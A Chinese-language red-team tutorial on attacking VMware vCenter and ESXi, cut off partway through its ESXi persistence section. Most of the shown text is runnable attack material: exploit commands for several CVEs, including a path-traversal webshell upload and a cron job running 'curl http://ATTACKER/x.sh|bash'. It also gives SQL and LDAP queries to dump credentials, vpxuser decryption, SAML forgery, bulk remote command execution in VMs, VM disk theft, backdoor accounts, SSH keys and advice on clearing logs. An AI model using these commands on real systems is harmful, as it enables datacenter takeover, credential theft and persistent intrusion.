vCenter 详解

本文定位:从零讲清 vSphere 体系(ESXi Hypervisor + vCenter 管理平面)的架构与攻击面,逐层深入指纹识别、高危漏洞利用、后渗透(凭证窃取、vpxuser 解密、SAML 伪造)、ESXi 持久化与勒索 TTP,最后给出检测与加固方案。

建议配合:本地用 Workstation 虚拟机搭一套 ESXi 7.0/8.0 + vCenter Server(vCSA) 动手复现。


一、基础

1.1 vSphere 全景

vSphere 是 VMware 的虚拟化平台品牌,实际由三层组成:

组件角色攻击者视角
ESXi裸金属 Hypervisor,承载所有虚拟机拿下一台 = 拿到其上所有 VM 的磁盘/内存/控制台
vCenter Server管理平面,集中管理多台 ESXi(集群、HA、DRS、迁移、模板)拿下 = 拿到整个数据中心:所有主机、所有 VM、所有密钥
vSphere ClientWeb 管理界面(HTML5,7.0 起唯一入口)未授权 RCE 漏洞最集中的暴露面

一句话理解层级关系:

1
2
3
4
vCenter Server (vCSA, 一台特殊的VM)
├── ESXi Host 01 ──── VM: DC01 / SQL01 / File01 ...
├── ESXi Host 02 ──── VM: Web01 / APP01 ...
└── ESXi Host 03 ──── VM: vCenter自己往往也跑在其中一台主机上

关键认知:vCenter 在红队评估中的价值等同于域控,甚至更高。

  • 它是虚拟化域的”大脑”:持有每台 ESXi 的管理凭据(vpxuser)、SSO 身份库(vmdir)、整库 VM 清单与加密密钥托管。
  • 很多企业把 vCenter 直接加进 AD 域,或用域账号绑定 SSO,vCenter 又常常与备份(Veeam)、监控(vROps)、日志(vRLI)联动 —— 一条天然的横向链。
  • vCenter 自身也是一台 VM,磁盘就在自家 datastore 上,可以”自己偷自己”。

vCenter 有两种部署形态:

  • vCSA(vCenter Server Appliance):预打包的 Photon OS 虚拟机,7.0 起唯一支持的形态。本文默认按 vCSA 讲。
  • vCenter for Windows:6.x 时代存在,7.0 起废弃 —— 但老环境仍可能遇到,思路一致(服务跑在 Windows 上,后渗透换成 Windows 那一套)。

1.2 ESXi 架构

ESXi 不是 Linux。它是 VMkernel 微内核 + BusyBox 用户态的组合,体积极小、默认不开 SSH、没有常规包管理器 —— 但该有的攻击面一点不少:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌─────────────────────────────────────────────────────────┐
│ ESXi Host │
│ │
│ ┌───────────────────────────────────────────────────┐ │
│ │ VMkernel (vmkernel64) │ │
│ │ - 调度 / 内存 / 网络 / 存储 子系统 │ │
│ │ - VMM(vmx进程): 每台VM一个World │ │
│ └───────────────────────────────────────────────────┘ │
│ ┌────────────┐ ┌────────────┐ ┌─────────────────────┐ │
│ │ hostd │ │ vpxa │ │ vmware-authd (902) │ │
│ │ (443,核心 │ │ (vCenter │ │ 远程控制台/主机认证 │ │
│ │ API守护) │ │ 代理) │ │ │ │
│ └────────────┘ └────────────┘ └─────────────────────┘ │
│ ┌────────────┐ ┌────────────┐ ┌─────────────────────┐ │
│ │ slpd (427) │ │ sfcbd(5988)│ │ DCUI(主机控制台UI) │ │
│ │ SLP服务 │ │ CIM服务 │ │ F2进入,可改root密码 │ │
│ │ 历史RCE源 │ │ 老版本默认 │ │ lockdown最后一道门 │ │
│ └────────────┘ └────────────┘ └─────────────────────┘ │
│ /vmfs/volumes/<datastore>/*.vmdk *.vmx *.vmsn *.log │
└─────────────────────────────────────────────────────────┘

要点:

  • hostd:ESXi 的大脑,443 端口上的完整 vSphere API 实现。只要 443 通,就算 SSH 关闭、shell 禁用,API 能做的事情一样不少(列 VM、开关机、快照、读写 datastore、启停服务)。
  • vpxa:vCenter 装到主机后自动部署的代理,以 vpxuser 身份与 hostd 通信。vpxuser 是每台被 vCenter 管理的主机上真实存在的超级管理员账号,密码由 vCenter 随机生成并定期轮换,明文/可解密形态托管在 vCenter 侧。
  • VMX / World:每台 VM 是一个 VMX 进程(World),esxcli vm process list 能看到 World ID,勒索软件就是按 World 强杀 VM 的。
  • datastore:VMFS/NFS 卷,挂载在 /vmfs/volumes/。一个 VM 的目录里典型文件:vm.vmx(配置)、vm-flat.vmdk(裸磁盘)、vm.vmsn(快照内存)、vm.nvram、vmware.log。vmx 的 annotation 字段经常被运维写上账号密码注释,这是老牌的翻车点。
  • ESXi 无传统包管理,软件以 VIB(vSphere Installation Bundle) 形式安装 —— 这既是官方更新机制,也是持久化后门的主要载体。
  • 没有第三方杀软常驻(8.0 起支持 Carbon Black Workload sensor,但绝大多数环境没部署),所以传统思路里 ESXi 被称为”杀软真空区”。

1.3 vCenter 架构

vCSA 是一台 Photon OS 虚拟机,里面跑着一堆 VMware 自研服务(由 vmon-cli / service-control 统一管理)。红队需要关心的核心服务:

服务作用攻击价值
vpxdvCenter 核心守护进程,vSphere API 后端,管理所有 ESXi 连接持有 vpxuser 加密密码的解密逻辑;其配置文件含 DB 凭据
vmdird (vmdir)VMware Directory Service,即 SSO 身份库,本机 LDAP(389/636)存所有 SSO 用户、密码哈希、IdP 签名证书私钥
STS (vmware-sts)Security Token Service,签发 SAML 断言拿到签名证书私钥 = 可伪造任意 SSO 用户登录(Golden SAML)
VCDB (vPostgres)PostgreSQL(VCDB 库),存全部清单/权限/密码密文直接 SQL 查 vpxuser 等加密凭据
vsphere-uiHTML5 客户端 Tomcat历史多次未授权 RCE 的宿主(21972/21985)
analytics (ceip)客户体验计划/日志收集CVE-2021-22005 未授权写文件 → root
VAMI (applmgmt)5480 设备管理界面root 凭据登录,可改网络/开 SSH/看备份
1
2
3
4
5
vSphere Client(443 /ui) ──▶ reverse proxy ──▶ vsphere-ui / vpxd / sts / analytics ...
│
vpxd ──(vpxuser, 定期轮换)──▶ ESXi hostd(443/902)
vpxd ──▶ VCDB(Postgres) : 清单/权限/加密的vpxuser密码
SSO ──▶ vmdir(LDAP) : 用户/哈希/IdP证书私钥

关键文件系统路径(root 视角):

1
2
3
4
5
6
7
8
9
10
/etc/vmware-vpx/vpxd.cfg            # vpxd 主配置(DB 连接信息等)
/etc/vmware-vpx/vcdb.properties # VCDB 连接配置
/etc/vmware-vpx/embedded_db.cfg # 内嵌 DB 配置
/storage/db/vcdb/ # Postgres 数据目录
/storage/db/vmware-vmdir/data.mdb # SSO 身份库主文件(含证书私钥/哈希)
/storage/log/vmware/ # 全部服务日志
/usr/lib/vmware-vmafd/bin/vecs-cli # 证书库管理(machine SSL/STS 等)
/usr/lib/vmware-vmafd/bin/dir-cli # vmdir 用户/组管理
/opt/vmware/vpostgres/current/bin/psql
/etc/vmware/install-defaults # 安装期默认值

1.4 认证体系

vSphere 的认证体系分三层,攻击时必须分清”打的是哪一层”:

  1. SSO(vmdir):vCenter 自己的身份库,默认域为 vsphere.local,默认超级管理员 administrator@vsphere.local(安装时设密码)。SSO 用户与 AD 无关,除非做了身份源集成。
  2. AD 集成:vCenter 可把 AD 作为身份源(LDAPS 绑定 / 集成 Windows 认证 / 7.0U3+ 的 Identity Federation)。此时:
    • 绑定用的服务账号凭据会持久化在 vCenter 内(vmdir / vpxd 配置),拿下 vCenter 往往能直接拖出高权限域账号;
    • vCenter 本机也可能加入了域,拥有机器账号(如 VC01$)。
  3. vpxuser:vCenter 在每台 ESXi 上创建的本地管理员账号,仅用于 vpxd 管理主机。密码加密存储在 VCDB,解密密钥硬编码在 vpxd 二进制里(见 4.3)。即使主机开了 Lockdown Mode,vpxuser 的 API 访问依然有效。

登录入口对照:

入口端口认证对象
vSphere Client /ui443SSO(vsphere.local 或 AD)
vSphere API /sdk(SOAP)443SSO
VAMI5480vCSA root( appliance 级,非 SSO)
ESXi Host ClientESXi:443ESXi 本地账号(root/vpxuser…)
SSH22vCSA root / ESXi 本地账号

1.5 端口与文件

vCenter Server(vCSA)

端口服务说明
443/tcpHTTPS 反向代理vSphere Client(/ui)、vSphere API(/sdk)、SSO(/sts,/sso)、analytics、vAPI 全走这里
80/tcpHTTP跳转 443
22/tcpSSH默认关闭,VAMI/DCUI 可开启
5480/tcpVAMI设备管理界面(root 登录)
389/636vmdir LDAP/LDAPS仅本机/受信网络,SSO 身份库
5432PostgreSQL仅本机,VCDB
8080Tomcat HTTP内部(vsphere-ui 等)
9443旧 Web Client6.x 遗留

ESXi

端口服务说明
443/tcphostd HTTPSvSphere API + ESXi Host Client,最核心攻击面
80/tcpHTTP跳转 443
22/tcpSSH默认关闭
902/tcpvmware-authd远程控制台/主机间认证
427/tcp,udpSLP (slpd)历史 RCE 源(CVE-2019-5544/2020-3992/2021-21974),7.0U2 起默认禁用
5988/5989CIM (sfcbd)7.0 起默认禁用
8000/tcpvMotion迁移流量

ESXi 关键文件与目录

1
2
3
4
5
6
7
8
9
10
11
12
/etc/vmware/esx.conf               # 主机主配置
/etc/passwd /etc/shadow # 本地账号(标准 SHA-512 crypt)
/etc/ssh/keys-root/authorized_keys # root 的 SSH 公钥(注意路径与Linux不同)
/etc/rc.local.d/local.sh # 开机执行脚本(持久化首选)
/var/spool/cron/crontabs/root # cron
/etc/vmware/welcome # DCUI 欢迎信息(运维常写管理联系方式)
/vmfs/volumes/<ds>/ # datastore
/var/log/hostd.log # API活动
/var/log/shell.log # shell命令记录
/var/log/vpxa.log # vCenter代理
/var/log/vmkernel.log # 内核(含VIB安装等)
/var/log/auth.log # SSH认证

二、侦察

2.1 指纹识别

现代企业虚拟化面大量暴露公网(尤其 VPN 替代方案、外包运维需求),测绘语法:

平台语法
Fofaapp="VMware-vCenter" / app="VMware-ESXi" / body="com.vmware.vsan"
Hunterweb.title="vSphere" / web.title="ESXi"
Shodanproduct:"VMware ESXi" / http.html:"VMware vCenter"
ZoomEyeapp:"VMware vCenter"

HTTP 指纹要点:

  • vSphere Client 登录页标题含 “VSPHERE CLIENT”(7.x/8.x),路径 /ui/;
  • ESXi Host Client 标题含 “VMware ESXi”,路径 /ui/#/host;
  • GET /sdk 返回 SOAP 端点 XML(vimServiceVersions.xml 可看 API 版本);
  • /websso/SAML2/metadata 返回 SSO 元数据,泄露实体 ID 与 SSO 域名;
  • 5480 出现即确认 vCSA。
1
2
3
4
# 快速判型
curl -sk https://target/ui | grep -io '<title>.*</title>'
curl -sk https://target/sdk/vimServiceVersions.xml
curl -sk https://target/websso/SAML2/metadata | head -20

端口扫描:

1
2
3
4
5
6
7
8
# vCenter
nmap -sV -p 22,80,443,5480,9443 -sC target
# ESXi(注意427是UDP+TCP、902是vmware-authd)
nmap -sV -sU -p 902,427 target
nmap -sV -p 22,80,443,5988,5989,8000,902,427 target

# SLP 探活(老ESXi高危服务)
nmap -sU -p427 --script slp-service-type-enumeration target

区分 vCenter 与独立 ESXi:vCenter 的 /ui 登录后是清单树;ESXi 的 /ui 只有单台主机。端口上 5480 几乎是 vCSA 的标志。

2.2 版本识别

1
2
3
4
5
6
# ESXi Host Client 页面自带 build 号(登录页HTML里有 build-XXXXXXX)
curl -sk https://esxi.target/ui/ | grep -oE 'build-[0-9]+'
# vSphere API 版本
curl -sk https://target/sdk/vim25/vimServiceVersions.xml
# VAMI 登录页头部也会标版本
curl -sk https://vcenter.target:5480/ | grep -i version

拿到 build 后对照 VMSA 通告确定缺口。重点盯三个历史家族:

  1. vSphere Client 插件系列(21972 / 21985 / 22005,2021);
  2. ESXi OpenSLP 系列(5544 / 3992 / 21974,2019-2023,勒索软件最爱);
  3. vCenter DCERPC 系列(20888 / 37079 / 37080,2023-2024,近年在野)。

2.3 弱口令

位置默认/常见弱口令
vCenter SSO administrator@vsphere.local安装时设置;历史版本默认过 vmware;弱口令字典必测
VAMI root (5480)6.x 时代默认 vmware;弱口令必测
ESXi root (443/SSH)安装时设置;实战中大量 root/vmware123、root/Root123、与设备管理口同密码
vpxuser密码随机,不可爆破,只能从 vCenter 侧解密
ESXi dcui控制台 UI 账号,默认锁定

注意:SSO 有账号锁定策略(默认 5 次失败锁 15 分钟?不同版本策略不同),对 administrator@vsphere.local 喷洒要克制;实战更常见的是先打别的入口拿凭据,再回来撞库(运维复用密码极其普遍,尤其 vCenter root / ESXi root / 堡垒机密码)。

已获得低权限 SSO 账号后(比如钓鱼拿到的只读账号),要立刻检查:

  • 权限是否挂错(大量环境把管理员角色错配给普通用户);
  • Global Permissions 是否泄露;
  • 能否看 VM 控制台(VirtualMachine.Interact.ConsoleInteract)。

2.4 域内定位

进了内网(拿到一台域机器)后,定位虚拟化资产:

1
2
3
4
5
6
7
# 常见主机名
nslookup vcenter.corp.com ; nslookup vc01.corp.com ; nslookup esxi01.corp.com
# LDAP 找域内虚拟化设备(描述字段常有惊喜)
Get-ADComputer -Filter * -Properties Description,OperatingSystem |
? {$_.OperatingSystem -like "*VMware*" -or $_.Name -match "esxi|vcenter|vc-|esx"}
# 搜索共享/文件里的凭据线索
findstr /si "vsphere.local esxi vcenter" \\fileserver\docs\*.txt

线索价值排序:

  1. vCenter 加入了域 → 机器账号 VC01$,且 LDAPS 身份源的绑定账号大概率是高权限服务账号,拿下 vCenter = 直接拖域凭据;
  2. SSO Administrators 组里挂了 AD 安全组 → 打到该组成员的机器 = 拿到 vCenter 管理员;
  3. Veeam 备份服务器凭据库里必然存着 vCenter/ESXi 凭据(另一条经典链:Veeam → vCenter)。

三、漏洞利用

3.1 vCenter 漏洞

CVE年份条件类型影响备注
CVE-2021-219722021未认证文件上传→RCErootvROps 插件 uploadova,利用最多
CVE-2021-219732021未认证SSRF探测内网与 21972 同批次
CVE-2021-219852021未认证JMX 反序列化→RCErootvSAN health 插件
CVE-2021-220052021未认证任意文件写→RCErootanalytics 服务
CVE-2023-208672023已认证(有 Guest Ops 权限)认证绕过VM 内执行Tools 命令执行鉴权缺陷
CVE-2023-20888/20889202320888 未认证DCERPC 堆溢出→RCEroot443 暴露
CVE-2024-37079/370802024未认证DCERPC 堆溢出→RCEroot在野利用,勒索组织常用
CVE-2024-370852024已认证(非管理员)权限提升管理员DCERPC 访问控制缺陷

服务架构注:vCSA 上绝大多数服务以 root 运行(服务间没有降权),所以以上 RCE 全部直接落 root shell —— 这也是 vCenter 漏洞危害普遍拉满的原因。

3.2 ESXi 漏洞

CVE年份条件类型备注
CVE-2019-55442019未认证OpenSLP 堆溢出→RCE427 端口,2020 年末在野
CVE-2020-39922020未认证OpenSLP UAF→RCE同上
CVE-2020-4004~40102020已认证USB 控制器系列→VM逃逸VMSA-2020-0027
CVE-2021-219742021未认证OpenSLP 堆溢出→RCEESXiArgs 勒索软件入口
CVE-2021-220152021已认证(shell管理员)sudo 配置缺陷→root本地提权
CVE-2023-209002023未认证OpenSLP DoS信号:环境里有老旧ESXi
CVE-2023-208672023经vCenter已认证Guest Ops 鉴权绕过VM内低权执行
CVE-2024-22252/222532024已认证XHCI USB UAF→沙箱逃逸VM→VMkernel
CVE-2025-222252025已认证(VM内)堆溢出→逃逸至VMkernel root在野利用(VMSA-2025-0004)

VM 逃逸类漏洞实战权重较低(需要先有 VM 内立足点 + 主机开着对应虚拟硬件),但勒索/APT 组织(如利用 2025-22225 的行动)已经证明其在野可行性。

3.3 周边组件

组件CVE说明
Workspace ONE Access / Identity ManagerCVE-2022-22954Freemarker SSTI 未认证 RCE,与 vCenter 共享 SSO 生态
Workspace ONE AccessCVE-2022-22972管理控制台认证绕过
vRealize/vROpsCVE-2021-21975未认证 SSRF,可窃取管理凭据
Veeam Backup & ReplicationCVE-2023-27532 等凭据库未授权读取 → 拿 vCenter/ESXi/域凭据
VMware HorizonCVE-2022-22966 等连接服务器侧攻击面

现实攻击链里,Veeam→vCenter 和 vROps→vCenter 出现频率不亚于直接打 vCenter:备份/运维组件存储着整套虚拟化凭据。

3.4 重点利用

CVE-2021-21972(vROps 插件任意文件上传 → root)

vSphere Client 的 vRealize Operations 插件暴露 /ui/vropspluginui/rest/services/uploadova,接收 tar 包并以 .. 路径穿越解压,可写任意文件(服务以 root 运行):

1
2
3
4
5
6
7
8
9
10
# 1. 构造tar:把webshell写到 STS 服务的 webapps/ROOT 下(常见公开PoC落点)
mkdir -p ../../../usr/lib/vmware-sso/vmware-sts/webapps/ROOT
cp shell.jsp ../../../usr/lib/vmware-sso/vmware-sts/webapps/ROOT/
tar cf evil.tar ../../../usr/lib/vmware-sso/vmware-sts/webapps/ROOT/shell.jsp

# 2. 上传
curl -sk -F "updateFile=@evil.tar" https://vcenter/ui/vropspluginui/rest/services/uploadova

# 3. 触发(/sts 上下文)
curl -sk "https://vcenter/sts/shell.jsp?cmd=whoami"

也可直接写 /root/.ssh/authorized_keys 拿 SSH。受影响:6.5/6.7/7.0 各早于修复版本。探测:对 /ui/vropspluginui/rest/services/uploadova 发空 POST,返回 500/400 而非 404 即可能存在。

CVE-2021-22005(analytics 任意文件写 → root)

analytics(CEIP)服务提供遥测接收接口,_i 参数可控制写入路径(经典公开 PoC 走 /etc/cron.d,由 root cron 执行):

1
2
3
4
5
6
7
# 探测
curl -sk -X POST "https://vcenter/analytics/telemetry/ph/api/hyper/send?_c=t._i=/tmp/t" -d test

# 利用(写cron.d,注意cron.d文件名不能含点)
curl -sk -X POST "https://vcenter/analytics/telemetry/ph/api/hyper/send?_c=t._i=/etc/cron.d/pwn" \
-H "Content-Type: text/plain" \
--data-binary $'* * * * * root curl http://ATTACKER/x.sh|bash'

影响 6.5/6.7/7.0(analytics 服务开启即受影响,默认开启)。该漏洞自动化利用门槛极低,2021 年后长期霸榜实战。

CVE-2021-21985(vSAN health 插件 JMX RCE → root)

vSphere Client 的 vSAN health check 插件把 REST 请求代理到内部 JMX MBean,未认证即可反射调用 → Runtime.exec:

1
2
3
4
POST /ui/h5-vsan/rest/proxy/service/&vsanProviderUtils_setVsanHealthService HTTP/1.1
Content-Type: application/json

{"methodInput": [...调用链...]}

公开 PoC(GitHub 搜 CVE-2021-21985)内置了从命令执行到启用 ESXi SSH 的多条利用链。影响 6.5/6.7/7.0。

CVE-2021-21974(ESXi OpenSLP 堆溢出 → root)

老版本 ESXi(6.5/6.7/7.0 早期)427 端口的 SLP 服务存在堆溢出,未认证 RCE。2023 年起被 ESXiArgs 勒索软件大规模在野利用:

1
2
3
# 探活
nmap -sU -p427 --script slp-service-type-enumeration esxi.target
# 公开PoC(GitHub 多个实现):发送恶意 SLP 注册包 → 以 root 执行任意命令

打完记得先 sleep 确认服务没崩,落地首选写 authorized_keys(网络稳定)。

CVE-2024-37079/37080(vCenter DCERPC 堆溢出)

vCenter 7.0/8.0 的 DCERPC 协议实现(443 暴露)存在多个堆溢出,未认证 RCE,2024 年中起被勒索组织在野利用。此类漏洞利用复杂度高,实战更常见的是等公开 PoC 成熟后批量打;红队评估中更现实的价值是:驱动客户升级 + 检测验证。

VM 逃逸:CVE-2025-22225

ESXi 7/8 VMX 沙箱逃逸(堆溢出 → VMkernel 权限),微软威胁情报团队发现并证实在野利用。需要 VM 内已执行代码。红队场景意义:证明”单台 VM 沦陷 → 整台主机沦陷”的路径存在,推动客户部署 vTPM/Secure Boot/Trust Authority 与及时补丁。


四、vCenter 后渗透

拿到 vCenter root(无论从哪个 CVE 进来)之后,目标只有三个:偷凭据、接管身份、铺持久化。

4.1 立足点

1
2
3
4
5
6
7
8
9
10
11
12
13
# vCSA = Photon OS,root shell 后先看基本盘
id; uname -a; cat /etc/vmware/release # 版本build
service-control --status # 各服务状态
vmon-cli -h # 服务管理

# 网络与身份域
hostname -f
/usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost
/usr/lib/vmware-vmafd/bin/dir-cli domain-info # SSO域信息
cat /etc/krb5.conf 2>/dev/null; ls /etc/krb5.keytab 2>/dev/null # 是否加域

# 清单速览(本机就能跑vSphere API)
# 或者直接上 govc(见 4.5)

日志位(既是信息源也是后续清理/对抗对象):

1
2
3
4
/var/log/vmware/vpxd/vpxd.log          # 核心
/var/log/vmware/sso/ # STS/SSO 登录与token签发
/var/log/vmware/vsphere-ui/logs/ # Web客户端
/var/log/audit/ # OS级审计

4.2 凭证收集

系统级

1
2
3
cat /etc/shadow            # vCSA root 哈希(SHA-512 crypt,可离线爆破,但root已是你的)
ls -la /root/.ssh/ # 运维的跳板公钥/私钥,有私钥直接横向跳板机
cat /root/.bash_history # 常有VAMI备份密码、esxi密码

VCDB(Postgres)直连

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 找DB凭据
cat /etc/vmware-vpx/vcdb.properties /etc/vmware-vpx/embedded_db.cfg 2>/dev/null
cat /etc/vmware-vpx/vpxd.cfg | grep -iA3 -E "db|password"

# 连接(vCSA 内置psql)
/opt/vmware/vpostgres/current/bin/psql -U vc -d VCDB

-- vpxuser 等服务账号的加密密码(不同版本表名略有差异)
SELECT user_name, password FROM vc.vpdx_user;
-- 或者按表名模糊搜
\dt vc.*user*

-- 其他高价值表
SELECT ip_address, user_name, password FROM vc.vpx_host; -- 主机相关凭据字段
SELECT * FROM vc.vpx_entity LIMIT 20; -- 清单结构

SSO 身份库(vmdir)

1
2
3
4
5
6
7
# 离线解析主文件(文件模式600,root可读)
ls -la /storage/db/vmware-vmdir/data.mdb
strings /storage/db/vmware-vmdir/data.mdb | grep -iE "BEGIN (RSA )?PRIVATE|certificate" | head

# 或走本机LDAP(需要SSO管理员凭据,配合4.4拿到后)
ldapsearch -x -H ldap://127.0.0.1:389 -D "cn=administrator,cn=users,dc=vsphere,dc=local" \
-w '<sso密码>' -b "cn=vsphere.local,cn=tenants" | grep -iE "userpassword|certificate"

data.mdb 里能拿到的三样东西:全部 SSO 用户与哈希(加盐哈希,可尝试离线破解弱口令)、IdP 签名证书+私钥(4.4 的核心)、AD 身份源绑定信息(若集成了 AD)。

AD 集成凭据

vCenter 以 AD 为身份源时,用于查询 AD 的绑定账号(往往是有”读全部AD”权限的服务账号,甚至 Domain Admin)凭据会持久化在 vCenter 内:

1
2
3
grep -riE "bind|ldap|domain" /etc/vmware-vpx/ /usr/lib/vmware-vpx/ 2>/dev/null | grep -iv binary | head -30
# 同时检查 vmdir 中的身份源对象
ldapsearch -x -H ldap://127.0.0.1 -D '...' -w '...' -b '' | grep -iA5 identity

若 vCenter 加入了域,/etc/krb5.keytab 存在机器账号密钥,可离线提取用于 Kerberos 操作(如 S4U2Self 枚举、针对该机器账号的攻击)。

4.3 vpxuser 解密

原理:vpxd 为每台 ESXi 生成随机 vpxuser 密码,用对称加密后存入 VCDB(vpdx_user 表),解密密钥硬编码在 vpxd 二进制中。社区已有成熟解密脚本(GitHub 搜索 vpxd decrypt / vcenter password extractor),输入为:DB 凭据 + 密文,输出为明文。

1
2
3
4
5
6
7
# 流程总结(细节以所用脚本为准)
# 1) 拿DB凭据(见 4.2)
# 2) 查密文
/opt/vmware/vpostgres/current/bin/psql -U vc -d VCDB \
-c "SELECT user_name, password FROM vc.vpdx_user;"
# 3) 用脚本解密(vpxd二进制在 /usr/lib/vmware-vpx/vpxd)
python3 vpxd_decrypt.py <ciphertext>

拿到某台主机的 vpxuser 明文后,它就是该 ESXi 的完整管理员:Lockdown Mode 不影响 vpxuser,SSH 关闭也不影响 API。

1
2
govc about -u 'vpxuser@esxi01' -k=true   # 直接以主机API身份连
govc host.info -u 'vpxuser@esxi01'

为什么这招致命:vCenter 域里可能有几十台 ESXi,每台一个 vpxuser,一次解密、全集群沦陷,且不需要知道任何人的登录密码。

4.4 SAML 伪造

原理(horizon3.ai 公开研究):SSO 登录时 STS 用自签名证书私钥签发 SAML 断言;该私钥就存在 vmdir(data.mdb)里。拿到私钥就能自己签发”我是 administrator@vsphere.local“的断言,完全绕过密码与登录流程。

1
2
3
4
5
6
7
# 1) 从 vmdir 提取 IdP 签名证书+私钥(root shell 下)
# 可直接离线解析 data.mdb,或通过本机 LDAPS 查询证书对象

# 2) 用开源工具伪造断言登录
git clone https://github.com/horizon3ai/vcenter_saml_login
python3 vcenter_saml_login.py --target https://vcenter.corp.com ...
# → 返回有效的 vSphere Client 会话(administrator@vsphere.local 权限)

特点与对抗要点:

  • 不需要改密码就能修:只要私钥还在,改 SSO 管理员密码无效;必须轮换 STS 证书;
  • 伪造断言不经过 STS 签发流程 → sts.log 里没有对应 issuance 记录,但登录会话真实存在 —— 这是核心检测点(见 6.1);
  • 同一套 SSO 还被 vROps/vRLI/HCX 等产品联邦信任 → 私钥 = 整个 VMware 产品族的通行证;
  • 断言有效期较短(分钟级),但工具可随时重签,等价于持久后门。

4.5 接管数据中心

有了 SSO 管理员(或 vpxuser),用 govc(go 写的 vSphere CLI)把环境摸透:

1
2
3
4
5
6
7
8
9
10
11
12
13
export GOVC_URL='https://administrator@vsphere.local:Passw0rd@vcenter.corp.com'
export GOVC_INSECURE=1

govc about # 版本信息
govc find / # 全量清单树
govc ls /dc/host # 所有主机
govc ls /dc/vm # 所有VM
govc host.info # 主机详情
govc datastore.info # 存储
govc events -n 200 # 近期事件(运维活动/审计)
govc permission.ls # 现有权限/角色
govc sso.group.ls # SSO组
govc sso.user.ls # SSO用户

高价值动作:

1
2
3
4
5
6
7
8
9
10
11
12
# 查看某VM的配置(vmx注释/加密状态/宿主机)
govc vm.info -json DC01 | jq '.VirtualMachines[0].Config.ExtraConfig'

# 启动ESXi主机的SSH服务(API方式,不需要开控制台)
govc host.service enable -host esxi01.corp.com TSM-SSH
govc host.service start -host esxi01.corp.com TSM-SSH

# 任意VM的远程控制台票证(WebMKS)—— 不需要VM内凭据即可看屏幕
govc vm.console DC01 # 返回 mks 票证URL,浏览器/VMRC接入观察+操作

# Guest Operations:往VM里塞命令执行(需要VM内账号密码)
govc guest.run -vm DC01 -l 'administrator:P@ss' -- cmd /c whoami

Guest Operations 是被严重低估的横向神器:vCenter 管理员 + 任一 VM 的本地账号 = 通过 VMware Tools 在所有能连的 VM 上批量执行命令(Windows/Linux 通吃,流量混在正常 Tools 通道里)。配合从内存/磁盘里翻到的域管凭据,一步到位。CVE-2023-20867 更是证明了 Tools 通道鉴权可被绕过。

4.6 偷磁盘与内存

vCenter 管理员可以浏览/下载任意 datastore 文件 —— 包括 vCenter 自己的 VMDK 和所有业务 VM 的磁盘:

1
2
3
4
5
6
7
# 列出VM所在数据store文件
govc datastore.ls -ds datastore1 /DC01/

# 直接下载裸磁盘(-flat.vmdk 是原始数据,热机也可拉,注意体积)
govc datastore.download -ds datastore1 /DC01/DC01-flat.vmdk /tmp/DC01-flat.vmdk

# 更稳的方式:打快照后拉 delta 盘,或离线挂载

拿到 VMDK/内存后的经典后续:

  • 挂载 Windows VM 磁盘 → 提取 NTDS.dit+SYSTEM(域控盘)→ DCSync 级别的域凭据获取;
  • 拉取 .vmsn/.vmem(快照内存)→ strings/Volatility → 直接翻出登录态用户的明文/NTLM 凭据;
  • 挂载 vCenter 自己的盘 → 离线拿 SSO 证书私钥与 shadow(无 root shell 的替代路径)。

4.7 打向 AD

汇总”vCenter → Domain Admin”的已验证路径:

路径前提说明
AD 身份源绑定凭据vCenter 集成 ADvCenter 内持久化的域服务账号,直接拿来打域
域管账号登录过 vCenterSSO 含 AD 身份源内存/哈希不可得(vmdir独立),但凭据复用:vCenter root 密码常与域内服务复用
Guest Ops → 域控 VMvCenter管理员 + 任一域VM本地账号通过 Tools 通道在 DC 上执行 → DCSync
偷 DC 的 VMDK/快照datastore 访问离线提取 NTDS.dit,离线打域
Veeam 侧链环境有 VeeamvCenter 凭据库 → 域备份凭据,一鱼两吃

4.8 持久化

  • SSO 后门账号:新建 svc-vmware-backup 之类的 SSO 用户并加入 Administrators(UI/API 均可,名字混在真实服务账号里极难发现);
  • SAML 私钥:只要不轮换证书,随时可重签断言(最强持久化,且不新增任何”用户”);
  • root SSH 公钥:vCSA /root/.ssh/authorized_keys;
  • 计划任务/服务:Photon OS systemd unit 或 cron(正常 Linux 那套);
  • 恶意插件:向 vCenter 注册自定义插件(进阶玩法,检测成本高);
  • 备份投毒:VAMI 备份任务带走的配置里塞后门(异地重启后依然生效)。

清理痕迹主要涉及:/var/log/vmware/vpxd/、sso/、vsphere-ui/logs/、/var/log/audit/,以及 vCenter 事件库(Web UI 的 Recent Tasks / Events)—— 但日志清理本身会在 audit/remote syslog 留痕,规范化的环境必然能感知。


五、ESXi 后渗透与横向

5.1 标准动作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 基本信息
vmware -vl # 版本build(决定漏洞面)
esxcli hardware platform get # 硬件
esxcli network ip connection list # netstat
esxcli network nic list

# 清单
vim-cmd vmsvc/getallvms # 全部VM
esxcli vm process list # 运行中VM + World ID
esxcli storage filesystem list
esxcli storage vmfs extent list

# 看看vCenter在不在身边(很多环境主机上能直接解析出vCenter IP)
cat /etc/hosts; esxcli network ip route ipv4 list

5.2 常用命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# VM电源控制
vim-cmd vmsvc/power.getstate <vmid>
vim-cmd vmsvc/power.on <vmid>
esxcli vm process kill --type=force --world-id=<wid> # 强杀(勒索同款)

# 快照
vim-cmd vmsvc/snapshot.get <vmid>
vim-cmd vmsvc/snapshot.create <vmid> snap1 "desc" 1 1 # 最后的1=包含内存

# 磁盘
vmkfstools -i src.vmdk -d thin /vmfs/volumes/ds2/clone.vmdk # 克隆
# 克隆后注册到自己的VM挂载读取(或vCenter里直接挂)

# 服务/防火墙
esxcli network firewall ruleset list
vim-cmd hostsvc/enable_ssh
vim-cmd hostsvc/start_ssh

5.3 持久化

账户与 SSH

1
2
3
4
5
6
7
8
9
10
# 1) SSH公钥(注意ESXi的路径与Linux不同!)
mkdir -p /etc/ssh/keys-root
echo 'ssh-rsa AAAA...' >> /etc/ssh/keys-root/authorized_keys

# 2) 新本地账号(7.x可用;8.0部分版本收紧,可走/etc/passwd+/etc/shadow直改)
esxcli system account add -id=svc_monitor -p='P@ssw0rd!' -c='P@ssw0rd!'
esxcli system permission set -id=svc_monitor -r Admin

# 3) 确保SSH随主机启动(重启后仍生效)
vim-cmd hostsvc/enable_ssh

VIB 后门

ESXi 的软件包机制是 VIB,接受级别默认 VMwareCertified,但 root 可调低并强制安装无签名包:

1
2
